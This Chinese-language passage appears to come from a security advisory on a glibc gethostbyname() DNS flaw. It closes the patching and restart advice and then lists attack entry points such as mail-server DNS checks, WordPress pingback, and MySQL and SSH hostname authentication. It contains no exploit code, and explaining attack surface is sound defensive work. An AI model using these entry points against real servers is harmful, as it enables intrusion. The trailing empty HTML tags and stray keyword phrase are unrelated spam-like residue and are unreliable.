            最后,重啟所有你上面用lsof找到的服務。當然最簡單的是直接重啟你的服務器,因為實在有很多東西依賴glibc,繞過你無法重啟服務器,至少把面向公共的重要服務比如web服務器,mail服務器重啟。

            直到所有的發行版都打上補丁之前,這個漏洞就是一個等待游戲。直到那時為止,DNS都是一個潛在的安全隱患。

            0x08 可能的攻擊手段


            服務器上gethostbyname() 應該是用的最多的了。許多DNS解析服務都可能會和這個CVE有關,唯一一點是,你需要控制DNS解析的東西才行。

            這意味著可能有這些:

            ·郵件服務器連接IP時,使用的DNS反查(DNS黑名單,SPF檢查等等)
            ·表單提交時,繞過允許用戶內容導致一個DNS查詢時,比如URL,WordPress的XML-RPC pingback等
            ·MySQL服務器做基于主機名的認證檢查時(以MySQL權限)
            ·SSH服務器對允許/拒絕規則認證時,使用DNS查詢的
            ·其他
            

            【任何】DNS查詢都可能會觸發這個漏洞,唯一一個“好事”是漏洞并不會立刻造成提權,你可能還是以同一個用戶身份執行命令,但是肯定有其他的各種各樣的提權方式。非高權限用戶依然可以用你的服務器做DDoS攻擊等等。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线